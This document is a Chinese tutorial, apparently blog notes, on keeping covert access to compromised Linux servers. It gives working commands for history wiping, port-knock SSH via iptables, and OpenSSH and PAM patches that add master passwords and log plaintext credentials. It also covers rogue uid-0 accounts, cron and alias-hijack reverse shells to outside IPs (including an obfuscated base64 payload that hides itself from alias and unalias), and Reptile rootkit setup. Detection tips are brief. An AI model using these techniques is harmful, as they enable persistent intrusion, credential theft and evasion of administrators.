隐身登录系统,不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
拿到shell以后,开始无痕模式,禁用命令历史记录功能。
set +o history
恢复
set -o history
history
删除指定的历史记录,删除100行以后的操作命令
sed -i "100,$d" .bash_history
通过SSLH在同一端口上共享SSH与HTTPS
Linux上在同一端口上共享SSH与HTTPS的工具:SSLH
安装SSLH
apt install sslh
配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no 将其修改为:Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
service sslh start
将ubuntu的22端口映射到本地80端口
# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
在攻击机上执行
echo threathuntercoming | socat - tcp:192.168.199.155:80
ssh -p 80 root@192.168.199.155 -T /bin/bash -i
echo threathunterleaving | socat - tcp:192.168.199.155:80
原理:替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
1、环境准备:
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
yum -y install patch
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
2.编辑密码:
vim includes.h
177行
#define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
#define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录
#define SECRETPW "whgojp"#万能密码
#endif /* INCLUDES_H */
3.安装编译:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
service sshd restart #重启sshd服务
systemctl status sshd.service #查看ssh启动状态
修改sshd程序和配置文件的时间,避免被管理员发现sshd程序发生了修改
touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd
以及修改后的ssh版本
使用万能密码登录成功,并且未留下登录记录,同时在/tmp/ilog 记录了别人用ssh登录该主机记录的日志目录(明文密码)
OpenSSH后门的防范方法如下。
· 重装OpenSSH软件,更新至最新版本。
· 将SSH默认登录端口22更改为其他端口。
· 在IPTable中添加SSH访问策略。
· 查看命令历史记录,对可疑文件进行清理。在有条件的情况下,可重做系统。
· 修改服务器所有用户的密码为新的强健密码。
· 使用strace命令找出SSH后门。运行“ps aux | grep sshd”命令获取可疑进程的PID,运行“strace -o aa -ff -p PID”命令进行跟踪,成功登录SSH后,在当前目录下就生成了strace命令的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。在上面的命令中,过滤错误信息、/dev/null信息和拒绝(denied)信息,找出打开了读写模式(WR)的文件(因为要把记录的密码写入文件)。可以找到以读写方式记录在文件中的SSH后门密码文件的位置,并通过该方法判断是否存在SSH后门。当然,也有不记录密码,而仅仅留下一个万能SSH后门的情况。
1、可以采用万能密码登录
2、实现监控服务器登录登出的账号密码(发到外网)
原理:PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登陆,将用户名密码记录到文件中。
关闭 selinux
setenforce 0
查询版本 rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flex flex-devel -y
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
-编译安装:
./configure && make
备份复制
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。
SSH配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p 8888 任意密码登录即可
开启密钥对支持
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
本地生成密钥
ssh-keygen -t rsa #三次回车
id_rsa : 私钥
id_rsa.pub : 公钥
复制公钥到服务器
cd /root/.ssh/
vim authorized_keys(id_rsa.pub)
chmod 600 authorized_keys
远程登录
ssh -i id_rsa root@xx.xx.xx.xx
添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
增加超级用户账号
echo "admin:x:0:0::/:/bin/sh" >> /etc/passwd
修改超级用户密码
passwd admin
crontab计时反弹shell也是一种权限维持方式
1、先写个反弹shell文件,shell.sh
bash -i >& /dev/tcp/192.168.199.175/4000 0>&1
bash -c "bash -i >& /dev/tcp/192.168.199.175/4000 0>&1"
#赋予执行权限
chmod +x /tmp/shell.sh
2、添加计划任务
vim /etc/crontab
#每一分钟执行一次
*/1 * * * * root /tmp/shell.sh
strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
1、记录sshd明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
2、记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log
alias命令的功能:为命令设置别名
定义:alias ls='ls -al'
删除:unalias ls
每次输入ls命令的时候都能实现ls -al
1、简单
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/121.40.132.129/4444 0>&1; };alerts'
这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)
2 升级
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTcuNjQuMjI1IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
base64解码之后是如下代码
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()
故此种方法需要Python3环境
劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令
ls 命令执行完全正常,用户无感知
劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名
劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls=’ls –color=auto
3、持久化+隐藏:重启依旧生效
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi
在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。
从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。
“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。
简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
一个典型rootkit包括:
1 以太网嗅探器程序,用于获得网络上传输的用户名和密码等信息。
2 特洛伊木马程序,例如:inetd或者login,为攻击者提供后门。
3 隐藏攻击者的目录和进程的程序,例如:ps、netstat、rshd和ls等。
4 可能还包括一些日志清理工具,例如:zap、zap2或者z2,攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。
一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。
应用级rootkit
应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。
应用级的比较容易清掉,最麻烦的是内核级和硬件级的
内核级rookit
通过加载内核模块的方式来加载后门,比较复杂。一般内核后门都是针对操作系统而言的,不同的操作系统内核模块设置编写方法都不一样,一般不通用。内核后门一般无法通过md5校验等来判断,所有基本比较难发现,目前针对内核后门比较多的是Linux和Solaris
硬件级后门
这个就是厂商的板子里面就有后门,比如cpu处理器,主板,鼠标,等等
网上公开的Rootkit比较少,这里介绍两个
https://github.com/f0rb1dd3n/Reptile/releases/
https://github.com/RuoJi6/HackerPermKeeper
HackerPermKeeper 使用可参考:https://www.bilibili.com/video/BV1fV411N7Qc
自动化脚本搭建
CentOS
$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
IP
Port
1
EOF
ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
IP
Port
1
EOF
安装成功后,不显示文件夹,但是实际上是存在的
使用参考:
https://github.com/f0rb1dd3n/Reptile/wiki
隐藏进程: /reptile/reptile_cmd hide
显示进程: /reptile/reptile_cmd show
实验
nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep
隐藏连接: /reptile/reptile_cmd udp hide
显示连接: /reptile/reptile_cmd tcp show
实验
netstat -anpt | grep 100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide
文件名中带reptile的都会被隐藏
mkdir reptile_whgojp
mkdir reptile_file
ls -l
cd reptile_xx
linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等
Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
参考连接:
https://blog.csdn.net/weixin\_53009585/article/details/130173061
https://blog.csdn.net/weixin\_53009585/article/details/130180577